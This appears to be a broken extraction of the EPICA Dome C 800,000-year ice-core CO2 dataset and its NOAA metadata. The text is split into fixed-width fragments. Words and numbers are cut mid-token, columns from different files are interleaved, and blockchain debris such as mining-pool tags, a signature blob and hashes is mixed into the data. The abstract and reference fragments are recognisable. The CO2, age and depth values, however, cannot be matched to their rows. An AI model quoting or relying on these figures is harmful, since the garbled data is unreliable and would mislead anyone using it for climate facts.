rc Barnola, Urs Sieg
enthaler, Dominique
Raynaud, Jean Jouzel
, Hubertus Fischer,
Kenji Kawamura, and
Thomas F. Stocker<br
r_Year: 2008-05-15 <
e: High-resolution c
arbon dioxide concen
tration record 650,0
00-800,000 years bef
urnal_Name: Nature<b
0.1038/nature06949<b
: http://www.nature.
com/nature/journal/v
453/n7193/full/natur
Abstract: Changes in
past atmospheric ca
rbon dioxide concent
rations can be deter
mined by measuring t
he composition of ai
r trapped in ice cor
es from Antarctica.
So far, the Antarcti
c Vostok and EPICA D
ome C ice cores have
provided a composit
e record of atmosphe
ric carbon dioxide l
evels over the past
650,000 years. Here
we present results o
f the lowest 200 m o
f the Dome C ice cor
e, extending the rec
ord of atmospheric c
arbon dioxide concen
tration by two compl
ete glacial cycles t
o 800,000 yr before
present. From previo
usly published data
and the present work
, we find that atmos
pheric carbon dioxid
e is strongly correl
ated with Antarctic
temperature througho
ut eight glacial cyc
les but with signifi
cantly lower concent
rations between 650,
000 and 750,000 yr b
efore present. Carbo
n dioxide levels are
below 180 parts per
million by volume (
p.p.m.v.) for a peri
od of 3,000 yr durin
g Marine Isotope Sta
ge 16, possibly refl
ecting more pronounc
ed oceanic carbon st
orage. We report the
lowest carbon dioxi
de concentration mea
sured in an ice core
, which extends the
pre-industrial range
of carbon dioxide c
oncentrations during
the late Quaternary
by about 10 p.p.m.v
. to 172–300 p
Funding_Agency_Name:
e: Swiss National Sc
ience Foundation<br>
ing_Agency_Name: Uni
e: French Polar Inst
Site_Information <br
thernmost_Latitude:
most_Latitude: -75.1
Name: Antarctica2015
Time_Unit: Cal. Year
tic ice core chronol
ogy 2012 (AICC2012,
Bazin et al., 2013)
012: http://www.ncdc
.noaa.gov/paleo/stud
follow that are prec
eded by ""
in columns one and
variables format: V
ariables list, one p
er line, shortname-t
ab-longname-tab-long
name components (9 c
omponents: what, mat
erial, error, units,
seasonality, archiv
e, detail, method, C
or N for Character
or Numeric data) <br
th, , , m, , , , ,N<
ge, gas, , calendar
years before present
age_gas_calBP age, g
as, , calendar years
before present, , ,
o2_ppm CO2 concentra
tion, , , ppmv, , ,
o2_1s_ppm CO2 concen
tration sigma mean,
, , ppmv, , , , ,N<b
recting factor, , ,
co2_corr- CO2 correc
ting factor 2s lower
bound, , , ppmv, ,
+ CO2 correcting fac
tor 2s upper bound,
, , ppmv, , , , ,N<b
t - tab-delimited te
xt, variable short n
/p>antarctica2015co2
edc-notes.txt"26936>
depth_m age_gas_calB
P age_gas_calBP co2_
ppm co2_1s_ppm co2_c
orr co2_corr- co2_co
9274.20 256.90 0.63
274.20 261.57 1.27
16.19 258.30 0.92
78.30 265.55 0.01
78.30 258.40 0.24
801.23 268.00 2.18
0828.07 266.91 1.11
10828.07 268.21 NAN
11063.53 262.80 0.42
11509.00 261.39 NAN
11509.00 262.37 0.8
0 11528.50 263.23 1.
90 11545.10 260.30 0
.90 11545.10 258.46
2.36 11984.53 247.84
12.36 11984.53 252.2
796.04 12272.93 246.
1796.04 12272.93 250
12028.80 12492.70 24
12028.80 12492.70 2
0 12346.39 12795.40
70 12584.80 13084.93
.70 12584.80 13084.9
8.25 12613.90 13144.
48.25 12613.90 13144
450.45 12734.05 1338
84.80 236.98 0.34
587.73 238.02 0.25
3608.70 237.63 1.15
13668.80 238.02 1.88
13818.40 241.54 2.2
5 13818.40 241.97 0.
22 13904.20 237.72 1
.43 14230.43 238.32
9.71 14355.63 239.00
44.70 14576.73 239.0
066.32 14677.70 241.
4066.32 14677.70 236
14176.32 14739.57 23
14356.70 14853.63 2
0 14472.94 15024.70
75 14697.25 15381.10
.85 14756.44 15470.5
1.70 14978.41 15772.
98.30 15368.56 16025
501.05 15541.13 1611
44.90 217.69 0.02
486.50 215.50 NAN
943.53 210.00 NAN
266.77 201.12 0.45
7368.43 195.80 0.41
17616.50 194.05 2.03
18466.33 188.63 0.9
5 18848.30 187.61 1.
18 19048.73 188.37 0
.12 19404.10 188.26
2.20 19576.63 189.01
23.88 19825.00 189.3
300.40 20120.83 188.
9703.40 20420.60 188
19949.85 20757.93 18
20149.39 21038.90 1
22008.84 22229.60 1
12890.31 237.63 0.7
0 13665.23 238.59 2.
00 14033.38 239.64 0
.00 14250.63 240.84
1.00 15335.65 227.77
13.00 15845.26 225.0
67.00 16185.43 222.9
689.00 17092.36 210.
091.00 17828.58 197.
7246.00 18420.96 193
7855.00 19521.78 188
8546.00 20069.49 189
9204.00 20683.18 187
19652.00 21280.34 19
19774.00 21382.60 1
3 20013.00 21426.14
43 20912.00 21891.56
.78 21500.00 22117.9
8.62 21795.00 22294.
81.80 22091.00 22490
583.60 22190.00 2259
20.97 193.59 0.52
435.60 191.50 2.31
5171.13 189.96 0.44
25396.82 187.07 NAN
5 125222.70 124858.6
74.75 125633.40 1253
26.00 275.61 0.83
125326.00 278.50 2.2
.80 125561.33 271.68
6058.20 125807.67 27
5 126484.00 126306.3
91.25 126855.60 1267
39.00 267.19 2.59
127078.00 271.56 1.2
.60 127503.33 274.81
7772.50 127660.00 27
5 127933.70 127829.0
13.25 128268.00 1281
72.67 290.23 -6.84
128507.33 290.49 1.
9.70 128878.00 269.3
29272.90 129254.33 2
50 129446.00 129437.
735.25 129627.50 129
659.33 263.41 1.02
130033.00 261.69 3.
6.10 130249.00 256.1
30678.00 130678.00 2
05 131153.00 131152.
760.00 131621.20 131
695.00 237.90 1.63
132425.33 231.29 0.
3.90 133071.67 225.2
33238.40 133358.00 2
25 133980.60 134074.
784.75 134804.60 134
970.67 205.67 0.77
135387.00 204.27 1.
1.40 135904.00 199.6
35791.40 135904.00 1
75 136802.50 137069.
801.25 137817.30 138
119.33 196.78 1.99
139274.00 191.09 2.
6.30 140527.33 186.3
40513.80 141093.00 1
05 141740.20 142449.
867.25 150635.70 152
007.00 200.60 1.08
152578.33 202.96 2.
3.40 153135.00 197.1
04331.23 238.88 1.55
00 104966.45 242.36
05.00 105507.15 248.
106565.00 105989.87
.01 107069.00 106256
477.01 107181.00 106
368.25 244.83 3.05
106974.82 240.34 NA
.00 108401.91 236.43
033.00 109129.42 244
110672.00 109839.97
.20 111366.00 110555
521.18 112678.00 111
876.80 257.93 2.94
112636.06 256.79 NA
.00 112941.73 263.12
835.00 113119.27 264
114404.00 113678.64
.25 114955.00 114250
547.75 115491.00 114
815.39 275.07 NAN
115446.67 276.96 1.6
.00 115908.58 273.16
043.00 116475.58 273
117814.00 117185.55
45 118263.00 117619.
597.25 119798.00 119
242.52 267.74 NAN
119715.50 274.59 1.3
.00 120144.12 268.73
082.00 120542.91 276
121910.00 121426.02
.25 122320.00 121841
633.38 122548.00 122
100.00 278.25 3.40
122292.36 279.00 NA
.00 123013.95 279.16
965.00 123630.91 274
124346.00 123959.48
.25 124785.00 124404
668.75 125187.00 124
817.45 275.52 NAN
125292.63 276.81 2.7
.00 126013.70 275.15
823.00 126699.91 273
127119.00 126962.03
66 127429.00 127313.
02.25 127595.00 1275
03.55 276.88 3.83
128024.48 276.03 0.2
.00 128172.67 280.72
553.00 128466.73 285
128919.00 128878.00
99 129095.00 129078.
735.20 129624.00 129
655.64 260.61 3.45
130373.03 251.84 NA
.00 130818.36 250.84
309.00 131322.20 241
131851.00 131976.24
.75 132598.00 132709
770.53 132813.00 132
931.96 224.63 NAN
133775.81 222.74 NAN
00 134522.28 212.43
98.00 137763.42 199.
38462.00 138834.30 1
58 139426.00 139949.
820.67 141658.00 142
360.56 196.51 0.95
143651.30 194.59 NA
.00 144799.59 196.02
907.00 146108.24 193
146954.00 148233.47
3.91 148111.00 14946
1859.38 149174.00 15
0594.88 202.51 NAN
151444.85 202.35 1.
4.00 153774.66 198.7
53346.00 154889.13 1
5 154543.00 156306.8
54.67 234.07 0.94 0.
2 563135.78 240.11
242.29 0.51 0.00 0.0
928.77 245.69 1.77 0
12 564311.43 245.81
0.49 0.00 0.00 0.59
247.62 1.51 0.00 0.
5135.22 251.41 1.74
.42 565539.88 252.3
6 1.68 0.00 0.00 0.6
5 252.65 1.02 0.00 0
66246.08 251.39 0.71
1.72 566589.42 253.
72 0.83 0.00 0.00 0.
10 254.32 1.62 0.00
567240.20 253.88 0.6
65.01 567548.65 254
.46 1.59 0.00 0.00 0
.13 253.19 0.94 0.00
568204.87 253.93 1.
968.32 568534.97 25
2.79 1.14 0.00 0.00
1.05 252.98 0.63 0.0
569315.43 250.19 0
2971.62 569684.77 2
51.32 1.31 0.00 0.00
66.37 250.02 1.31 0.
2 570462.55 251.35
251.80 1.20 0.00 0.0
262.35 251.81 1.27 0
12 571634.13 249.57
0.46 0.00 0.00 1.28
251.56 1.74 0.00 0.
2315.50 250.30 1.04
.41 572669.87 246.3
1 1.15 0.00 0.00 1.3
2 247.66 0.68 0.00 0
73475.75 249.19 1.08
3.72 573913.02 248.
72 0.39 0.00 0.00 1.
65 251.77 1.78 0.00
574806.00 251.86 0.7
87.02 575233.96 252
.08 1.30 0.00 0.00 1
.53 248.86 0.98 0.00
576112.85 252.54 0.
990.32 576599.10 25
2.90 1.06 0.00 0.00
5.10 251.30 1.06 0.0
577653.85 251.34 1
2993.62 578196.35 2
51.08 0.60 0.00 0.00
42.35 249.06 0.48 0.
2 579280.55 252.92
251.47 1.80 0.00 0.0
210.50 244.14 1.67 0
02 580401.78 243.81
0.87 0.00 0.00 1.93
236.17 0.30 0.00 0.
1118.65 230.26 0.57
.76 581546.53 225.2
1 1.57 0.00 0.00 1.9
0 219.41 0.81 0.00 0
82454.53 215.45 1.07
1.32 582836.30 209.
88 1.18 0.00 0.00 2.
25 206.68 0.51 0.00
583958.80 210.64 0.6
05.26 586720.84 223
.96 0.87 0.00 0.00 2
.85 225.99 1.45 0.00
587888.67 234.40 0.
006.82 588279.35 23
8.78 0.98 0.00 0.00
0.90 246.35 1.80 0.0
589425.35 250.20 0
3008.56 590040.15 2
48.10 0.56 0.00 0.00
88.80 243.56 0.76 0.
7 591019.47 237.38
225.68 1.13 0.00 0.0
785.52 229.39 1.25 0
87 593561.25 233.16
0.28 0.00 0.00 2.37
238.15 0.89 0.00 0.
4863.81 237.98 1.05
.42 595436.47 232.9
2 0.60 0.00 0.00 2.4
6 221.22 1.77 0.00 0
96791.13 216.44 0.91
5.25 597803.61 216.
27 1.48 0.00 0.00 2.
75 219.02 1.00 0.00
599218.22 225.97 1.1
16.72 599814.63 229
.38 1.39 0.00 0.00 2
.15 232.45 1.30 0.00
602600.75 237.86 0.
020.02 603949.15 23
9.14 1.09 0.00 0.00
3.15 244.53 0.70 0.0
606625.91 248.48 1
3023.32 607979.30 2
54.58 1.22 0.00 0.00
47.30 259.22 1.82 0.
2 610429.50 257.74
257.82 2.11 0.03 0.0
600.63 259.68 1.16 0
72 612761.97 258.14
1.41 0.10 0.00 2.87
256.19 0.39 0.17 0.
5140.60 252.75 1.06
.97 616299.12 252.9
0 0.62 0.29 0.00 2.9
0 252.73 0.94 0.29 0
17609.57 252.64 1.06
3.22 618953.75 248.
29 1.00 0.42 0.00 3.
75 245.89 0.29 0.49
621651.45 243.53 0.8
36.44 622950.73 243
.89 2.84 0.61 0.00 3
.95 239.19 0.83 0.61
624496.95 237.93 1.
038.26 625397.92 23
5.02 0.35 0.71 0.00
7.50 228.51 0.88 0.7
626969.43 215.71 0
3039.82 627830.10 2
05.76 0.94 0.80 0.00
39.62 199.52 0.77 0.
7 629769.85 205.27
200.78 0.50 0.87 0.0
526.32 200.46 1.81 0
01 632356.94 196.50
1.51 0.93 0.00 3.33
193.10 1.55 0.97 0.
4881.14 195.95 1.53
.12 635009.03 194.8
6 1.76 1.00 0.00 3.3
6 194.00 0.66 1.03 0
37714.37 195.33 1.85
4.93 639418.27 188.
85 0.96 1.10 0.00 3.
25 190.18 0.50 1.12
642074.60 191.38 1.0
46.42 642856.65 191
.56 1.13 1.19 0.00 3
.83 195.31 1.25 1.23
645150.65 195.82 0.
048.16 646376.95 18
9.89 2.02 1.29 0.00
4.85 191.85 1.00 1.3
648612.42 193.48 0
3049.72 649191.10 1
96.17 0.44 1.38 0.00
48.46 189.25 1.22 1.
2 650947.10 193.44
187.27 0.54 1.49 0.0
708.95 186.79 0.97 1
56 653730.25 192.87
1.85 1.55 0.00 3.68
194.82 0.98 1.57 0.
5524.35 200.00 0.53
.12 656132.65 200.3
5 0.75 1.64 0.00 3.7
9 192.93 0.65 1.68 0
57654.21 189.23 1.78
5.22 657722.00 190.
88 0.87 1.70 0.00 3.
10 184.10 0.29 1.74
659293.82 187.38 1.0
56.32 659411.90 185
.68 0.41 1.76 0.00 3
.55 188.43 0.95 1.80
661118.32 193.97 0.
057.42 661215.90 19
1.59 0.77 1.83 0.00
2.18 189.69 1.52 1.8
662796.61 193.91 2
3058.52 662877.55 1
90.86 1.02 1.89 0.00
37.52 191.02 1.20 1.
5 664320.40 192.55
187.77 0.83 1.96 0.0
321.94 180.17 1.12 2
73 665836.52 180.54
1.12 2.02 0.07 3.96
174.77 1.04 2.06 0.
7409.86 173.71 1.38
.53 668415.26 177.7
1 0.68 2.12 0.22 4.0
4 180.67 0.71 2.15 0
69819.30 187.66 0.18
4.02 670296.32 191.
51 0.92 2.21 0.34 4.
75 194.88 0.97 2.25
671457.93 196.83 0.6
65.76 672150.88 194
.79 0.58 2.31 0.48 4
.38 197.13 0.99 2.34
673696.11 201.12 1.
067.33 674229.38 20
4.67 0.73 2.40 0.61
8.40 211.69 0.58 2.4
675406.53 216.12 0
3069.52 676530.74 2
22.57 0.76 2.53 0.79
52.31 219.96 0.61 2.
2 677600.74 216.59
218.21 1.38 2.64 0.9
741.62 220.09 1.52 2
44 679455.37 229.16
0.81 2.70 1.03 4.37
232.70 0.90 2.72 1.
0312.58 233.61 0.55
.93 680627.61 233.1
1 1.16 2.79 1.14 4.4
7 225.81 1.21 2.82 1
81669.93 227.90 1.32
5.73 682343.71 221.
31 0.89 2.89 1.29 4.
09 219.14 0.95 2.92
683457.86 220.24 1.6
77.23 683828.75 222
.70 0.60 2.98 1.41 4
.68 225.64 1.65 3.02
684758.06 224.36 1.
078.96 685294.84 22
1.82 0.77 3.08 1.55
9.87 220.62 0.70 3.1
686269.11 220.63 1
3080.52 686581.81 2
22.62 1.05 3.17 1.67
54.04 222.70 1.05 3.
3 687445.50 222.97
226.73 1.00 3.28 1.8
300.13 227.65 1.34 3
37 688809.87 227.64
1.14 3.34 1.90 4.77
230.67 1.66 3.36 1.
9693.26 232.07 1.29
.92 689951.45 232.2
7 1.49 3.43 2.02 4.8
5 235.80 0.99 3.47 2
90736.39 236.45 0.53
6.73 691221.83 239.
29 1.05 3.53 2.16 4.
67 238.42 1.24 3.55
691967.96 239.38 1.9
88.23 692318.34 243
.56 0.56 3.62 2.27 4
.46 239.30 1.27 3.66
693077.09 238.47 2.
090.05 693574.04 24
3.70 2.10 3.72 2.41
1.29 237.76 0.84 3.7
694280.35 239.34 0
3091.52 694536.82 2
40.46 0.71 3.81 2.52
49.14 239.31 0.91 3.
2 695259.26 239.80
236.80 0.57 3.92 2.6
981.88 238.74 1.46 3
45 696434.89 238.05
1.52 3.98 2.74 5.21
238.13 1.28 4.00 2.
7090.29 239.44 0.96
.92 697342.45 238.4
2 1.11 4.07 2.85 5.2
8 239.88 1.27 4.10 2
98039.00 241.03 0.79
7.74 698505.54 240.
90 1.92 4.17 2.99 5.
23 241.83 0.73 4.19
699215.75 238.86 1.0
99.22 699439.02 239
.01 0.65 4.26 3.10 5
.71 239.73 0.80 4.30
700103.69 237.21 0.
100.92 700485.02 23
6.72 0.65 4.36 3.22
4.84 236.61 0.48 4.3
701268.53 235.42 0
3102.52 701524.52 2
32.46 0.54 4.45 3.33
93.15 230.88 1.02 4.
7 702200.92 232.16
232.18 1.62 4.55 3.4
009.98 230.59 0.26 4
36 703468.52 233.35
1.26 4.61 3.53 5.69
232.28 1.12 4.64 3.
4250.52 232.83 0.52
.92 704581.81 233.5
4 1.36 4.71 3.64 5.7
4 234.04 0.46 4.75 3
05243.91 235.09 1.68
8.65 705726.95 237.
18 1.33 4.81 3.76 5.
20 237.66 1.57 4.83
706492.95 236.05 1.7
10.07 706710.74 236
.05 0.93 4.89 3.85 5
.70 238.85 0.80 4.94
707643.73 233.51 1.
112.05 708199.68 23
3.58 1.00 5.00 3.98
3.45 233.11 1.01 5.0
708959.15 234.84 1
3113.58 709453.79 2
31.43 0.86 5.09 4.08
09.55 230.51 0.99 5.
8 710456.45 227.03
224.90 0.62 5.19 4.1
399.04 225.39 0.29 5
42 712021.47 224.12
1.49 5.26 4.26 6.24
224.00 1.45 5.27 4.
3312.50 223.89 0.47
.60 714065.58 227.6
4 1.61 5.38 4.39 6.3
0 227.08 2.01 5.40 4
15115.73 223.14 0.59
0.12 715565.38 227.
58 0.55 5.47 4.48 6.
16 213.60 0.66 5.52
716585.91 210.51 1.6
21.86 717348.27 198
.43 1.17 5.57 4.58 6
.48 189.88 1.13 5.60
718778.35 193.46 1.
123.35 719287.18 20
0.82 0.75 5.66 4.67
7.29 212.03 0.84 5.7
720590.76 217.04 0
3125.27 721407.52 2
19.20 1.18 5.77 4.78
89.86 218.96 1.27 5.
7 722505.81 216.10
212.11 0.69 5.86 4.8
780.23 212.55 1.77 5
73 724142.00 214.01
1.19 5.91 4.91 6.91
210.48 0.37 5.96 4.
5474.43 211.49 1.28
.62 726249.59 211.0
8 1.07 6.03 5.01 7.0
6 211.43 0.77 6.04 5
27898.50 210.07 1.62
1.75 728593.90 210.
24 0.83 6.15 5.11 7.
53 211.08 0.78 6.17
729836.94 210.01 1.0
33.32 730260.31 212
.17 1.72 6.24 5.19 7
.31 210.16 0.69 6.28
731184.23 210.70 0.
135.06 731861.00 21
1.62 0.36 6.34 5.28
1.75 213.73 1.89 6.3
732993.50 208.11 1
3136.53 733329.00 2
07.72 0.81 6.43 5.35
22.23 210.60 1.03 6.
2 734462.62 216.15
214.66 0.71 6.54 5.4
409.91 217.88 0.83 6
46 736107.31 217.19
1.38 6.60 5.48 7.70
213.14 1.66 6.62 5.
7269.82 206.92 1.56
.88 737660.12 204.5
2 1.49 6.68 5.54 7.8
9 191.74 0.93 6.72 5
39174.56 185.61 0.33
2.85 740106.45 185.
40 2.38 6.79 5.63 7.
92 183.39 2.40 6.81
741329.90 184.77 2.0
44.32 741874.13 189
.14 1.31 6.88 5.70 8
.75 188.65 2.71 6.92
743062.17 187.33 0.
146.06 743959.08 18
8.18 0.91 6.98 5.77
3.14 188.97 0.90 7.0
745671.05 187.29 1
3148.26 746619.93 1
90.24 0.42 7.11 5.86
77.04 187.92 0.32 7.
5 747940.20 187.95
187.54 0.84 7.19 5.9
262.93 188.68 1.26 7
91 749814.18 190.17
1.76 7.26 5.97 8.55
192.08 1.57 7.31 6.
1036.25 191.30 1.38
.65 751973.87 193.5
5 1.88 7.36 6.04 8.6
8 197.50 1.30 7.39 6
53489.07 195.43 0.34
4.10 753934.65 203.
90 1.84 7.45 6.09 8.
58 199.05 1.70 7.50
755586.83 203.30 1.5
56.08 756566.17 208
.10 1.96 7.56 6.17 8
.68 209.45 1.36 7.58
757785.45 213.61 2.
157.52 758362.42 21
8.35 2.34 7.65 6.23
5.69 222.72 1.50 7.6
759561.88 226.94 1
3158.80 759878.21 2
23.02 0.68 7.72 6.28
08.27 225.37 1.75 7.
5 760516.06 225.62
222.71 1.23 7.77 6.3
864.49 216.64 0.75 7
71 762166.04 214.69
1.12 7.83 6.35 9.31
214.00 1.86 7.88 6.
3770.58 219.95 0.23
.55 764676.88 223.8
9 2.06 7.94 6.42 9.4
2 222.93 0.92 7.96 6
65586.64 233.66 3.05
3.40 765851.48 229.
41 2.67 7.99 6.45 9.
50 232.12 1.38 8.00
766808.91 230.62 0.8
64.84 767747.16 224
.86 1.56 8.07 6.50 9
.26 223.82 0.51 8.09
769061.38 221.64 0.
166.32 769651.42 22
5.87 0.95 8.16 6.55
9.15 230.63 2.11 8.2
771020.67 229.56 1
3167.60 771519.33 2
36.32 1.64 8.23 6.60
12.67 234.24 1.61 8.
5 772175.26 239.71
243.89 1.10 8.27 6.6
737.96 246.49 2.17 8
70 772995.64 243.85
2.09 8.30 6.64 9.94
246.03 2.45 8.31 6.
3684.47 237.78 1.51
.53 774044.14 239.2
3 1.00 8.34 6.67 10.
81 238.39 2.26 8.39
775538.01 241.74 0.
3171.35 776332.26 2
45.32 0.36 8.45 6.73
782.70 248.92 0.63 8
.46 777681.75 247.3
0 2.01 8.52 6.77 10.
79 252.46 0.67 8.54
779057.98 254.93 0.
3173.93 779367.55 2
54.69 1.13 8.60 6.82
188.92 254.43 2.36 8
.11 780719.44 252.5
2 0.93 8.67 6.87 10.
83 257.21 0.60 8.71
781886.68 251.51 0.
3176.89 782728.45 2
57.44 0.65 8.77 6.93
198.53 255.02 1.06 8
.31 784261.76 260.9
2 2.51 8.86 6.98 10.
08 255.85 0.66 8.90
785519.05 259.66 0.
3180.15 786189.60 2
62.23 2.57 8.96 7.04
563.26 264.35 1.38 8
.26 787355.51 269.3
6 1.26 9.03 7.08 10.
57 266.00 0.73 9.05
788479.24 257.20 1.
3182.65 788691.87 2
57.02 2.69 9.11 7.13
494.04 238.64 0.78 9
.91 789953.01 235.4
9 2.99 9.18 7.17 11.
41 227.38 0.84 9.22
791056.88 230.55 1.
3185.66 792030.78 2
24.69 3.67 9.28 7.23
617.30 214.45 2.53 9
.75 793519.39 213.3
6 1.60 9.35 7.26 11.
76 218.39 1.93 9.36
795122.45 208.79 1.
3188.23 795687.32 2
04.62 1.99 9.43 7.31
852.59 198.79 2.10 9
.33 797378.82 197.9
1 1.42 9.50 7.35 11.
30 200.49 2.19 9.54
801236.06 198.68 1.
3192.30 802872.09 1
98.66 0.98 9.67 7.45
709.25 202.65 1.04 9
.41 803925.28 202.9
2 2.06 9.73 7.49 11.
87 207.50 0.92 9.75
804522.67 204.86 1.
3198.21 805132.44 2
02.23 0.69 10.01 7.6
5668.87 207.29 2.20
bc27015ecaa362f8b27b
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Mined by AntPool bj2/
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Luthi e
, T.F. Stocker, E. M
onnin, D. Luthi, J.
Schwander, B. Stauff
er, D. Raynaud, J.-
M. Barnola, H. Fisch
er, V. Masson-Delmot
te, J. Jouzel. 2005.
Stable Carbon Cycl
e-Climate Relationsh
ip During the Late P
leistocene. Science,
v. 310 , pp. 1313-1
317, 25 November 200
HIC REGION: East Ant
arctica PERIOD OF RE
CORD: 800 KYrBP -pre
NG SOURCES: This wo
rk is a contribution
to the European Pro
ject for Ice Coring
in Antarctica (EPIC
A), a joint European
Science Foundation/
European Commission
scientific program,
funded by the Europe
an Commission and b
y national contribut
ions from Belgium, D
enmark, France, Germ
any, Italy, the Net
herlands, Norway, Sw
eden, Switzerland an
d the United Kingdo
m. We acknowledge fi
nancial support by t
he Swiss NSF, the U
niversity of Bern, t
he Swiss Federal Age
ncy of Energy and th
e French ANR (Agenc
e nationale pour la
Recherche; programme
ESCRIPTION: Carbon
dioxide record from
the EPICA (European
Project for Ice Cori
ng in Antarctica) D
ome C ice core cover
ing 0 to 800 kyr BP.
me C ice core locati
on: 75 06'S, 123 21'
E, 3233m above sea l
se data also availab
le from the Nature S
upplementary Materia
ls for Luthi et al.
NOTE: These data hav
e been revised for a
n analytical bias as
described by Berei
ter et al. 2015. Ple
ase see the revised
EDC and Antarctic co
mposite CO2 records
at: <a href="http://
www.ncdc.noaa.gov/pa
leo/study/17975">htt
p://www.ncdc.noaa.go
v/paleo/study/17975<
tly on the Bitcoin b
lockchain here: <a h
ref="../8522787e7e49
f3f3b6a9f9e86bc30336
d26a3acbaecc93809d2e
8b4bb1c4d611">../852
2787e7e49f3f3b6a9f9e
86bc30336d26a3acbaec
c93809d2e8b4bb1c4d61
1</a></p>edc-co2-200
8.txt>102664<1. EDC
Carbon Dioxide Data
(611-800 kyr BP), Lu
Additional EDC and A
ntarctic Ice Core CO
2 data and composite
CO2 record are belo
(EDC3_gas_a) years
pmv) measured at Uni
olumn 4: CO2 sigma e
rror (ppmv) measured
at University of Be
(EDC3_gas_a) years B
mv) measured at LGGE
sity of Bern
L
th Age
CO2 sigma
Depth
Age CO2
69 257.8 2
.1 3061.71
667435 1
616164 252.6
0.6 306
3.98 670124
623109 243.
3 2.8
3085.78 68803
7 630183
204.4 0.9
3086.88 6
43.07 635364
195.0 1.5
3087.98
689444 241.0
04 187.5 1
.8 3089.08
690155 2
659983 185.6
1.1 309
1.28 691524
661563 192.
1 1.0
3093.48 69285
7 663133
192.0 2.1
3120.01 7
59.55 664597
190.6 1.3
3122.20
718581 190.2
45 178.2 1
.1 3124.41
721870 2
1embiivpxfdUfLKLp4LJ
MMtjYvK6c2EJA.SIG*88
<HA4sI68pcQXJrkHoRN8
5XlmNiJUMFUpMOo79WOH
1nETla7IdTgbcys1i11w
Px0w4QRe/yCAWnKjn8eo
vQ6wnfBc=<4874|<h2>E
PICA Dome C Ice Core
800KYr Carbon Dioxi
<h3>World Data Cente
r for Paleoclimatolo
gy, Boulder and NO
AA Paleoclimatology
<b>NOTE: PLEASE CITE
ORIGINAL REFERENCE
WHEN USING THIS DATA
E OF DATA SET: EPICA
Dome C Ice Core 800
KYr Carbon Dioxide D
ata LAST UPDATE: 6/2
008 (Original receip
t by WDC Paleo) CONT
RIBUTORS: Dieter Lut
hi, et al. IGBP PAGE
S/WDCA CONTRIBUTION
SERIES NUMBER: 2008-
LEO CONTRIBUTION SER
IES CITATION: Luthi
, D., et al.. 2008.
EPICA Dome C Ice Cor
e 800KYr Carbon Diox
ide Data. IGBP PAGE
S/World Data Center
for Paleoclimatology
Data Contribution
Series # 2008-055.
NOAA/NCDC Paleoclima
tology Program, Boul
<p> ORIGINAL REFEREN
CE: Luthi, D., M. L
e Floch, B. Bereiter
, T. Blunier, J.-M.
Barnola, U. Siegent
haler, D. Raynaud, J
. Jouzel, H. Fischer
, K. Kawamura, and
T.F. Stocker. 2008.
High-resolution carb
on dioxide concentra
tion record 650,000-
800,000 years befor
e present. Nature, V
ol. 453, pp. 379-382
, 15 May 2008. doi:1
0.1038/nature06949</
hanges in past atmos
pheric carbon dioxid
e concentrations can
be determined by me
asuring the composit
ion of air trapped i
n ice cores from Ant
arctica. So far, the
Antarctic Vostok an
d EPICA Dome C ice c
ores have provided a
composite record of
atmospheric carbon
dioxide levels over
the past 650,000 yea
rs. Here we present
results of the lowe
st 200m of the Dome
C ice core, extendin
g the record of atm
ospheric carbon diox
ide concentration by
two complete glaci
al cycles to 800,000
yr before present.
From previously pub
lished data and the
present work, we fin
d that atmospheric c
arbon dioxide is str
ongly correlated wit
h Antarctic temperat
ure throughout eight
glacial cycles but
with significantly l
ower concentrations
between 650,000 and
750,000 yr before pr
esent. Carbon dioxid
e levels are below 1
80 parts per million
by volume (p.p.m.v
.) for a period of 3
,000 yr during Marin
e Isotope Stage 16,
possibly reflecting
more pronounced oce
anic carbon storage.
We report the lowe
st carbon dioxide co
ncentration measured
in an ice core, whi
ch extends the pre-i
ndustrial range of c
arbon dioxide concen
trations during the
late Quaternary by a
bout 10 p.p.m.v. to
172-300 p.p.m.v.</p>
EFERENCES: Indermuhl
e, A., E. Monnin, B.
Stauffer, T.F. Stoc
ker, M. Wahlen, 1999
, Atmospheric CO2 c
oncentration from 60
to 20 kyr BP from t
he Taylor Dome ice
core, Antarctica. Ge
ophysical Research L
etters, 27, 735-738.
., A. Indermuhle, A.
Dallenbach, J. Fluc
kiger, B. Stauffer,
T.F. Stocker, D. Ra
ynaud, and J.-M. Bar
nola. 2001. Atmosph
eric CO2 concentrati
ons over the last gl
acial termination.
Science, Vol. 291, p
p>Petit, J.R., J. Jo
uzel, D. Raynaud, N.
I. Barkov, J.-M. Bar
nola, I. Basile, M.
Benders, J. Chappel
laz, M. Davis, G. De
layque, M. Delmotte
, V.M. Kotlyakov, M.
Legrand, V.Y. Lipen
kov, C. Lorius, L.
Pepin, C. Ritz, E. S
altzman, and M. Stie
venard. 1999. Clima
te and atmospheric h
istory of the past 4
20,000 years from t
he Vostok ice core,
Antarctica. Nature
666174 178.5
1.1 312
8.68 727458
666995 172.
7 1.0
3133.08 73230
2 667569
171.6 1.4
3135.28 7
62.53 668447
175.6 0.7
3141.82
739986 198.0
34 178.5 0
.7 3146.37
744681 1
669751 185.5
0.2 315
0.68 749152
670176 189.
3 0.9
3152.88 75155
6 670916
192.6 1.0
3155.08 7
65.12 671286
194.6 0.7
3156.18
755354 203.4
26 192.5 0
.6 3157.28
756605 2
672386 194.8
1.0 315
8.38 757805
673095 198.
Mined by AntPool sc1#
7 1.0
3159.48 75902
3 673475
202.3 0.7
3160.58 7
68.07 674173
209.2 0.6
3161.68
761745 213.0
21 213.7 0
.8 3162.78
763158 2
675589 220.0
0.8 316
3.88 764529
676170 217.
4 0.6
3164.98 76591
2 676524
214.0 0.9
3167.18 7
71.33 677068
215.6 1.4
3168.28
770434 233.9
80 217.4 1
.5 3169.38
771888 2
677984 226.5
0.8 317
0.48 773353
678291 230.
0 0.9
3171.58 77485
3 678914
230.8 0.6
3172.68 7
73.93 679252
230.3 1.2
3173.78
777719 246.7
32 223.0 1
.2 3174.88
779076 2
680081 225.0
1.3 317
7.08 781771
680608 218.
4 0.9
3178.18 78311
3 680920
216.2 1.0
3179.28 7
76.85 681531
217.3 1.7
3180.38
785654 255.3
49 219.7 0
.6 3181.48
786819 2
682446 222.6
1.6 318
2.58 787957
682762 221.
3 1.3
3183.68 78912
6 683262
218.7 0.8
3185.88 7
79.43 683612
217.5 0.7
3186.98
793255 224.2
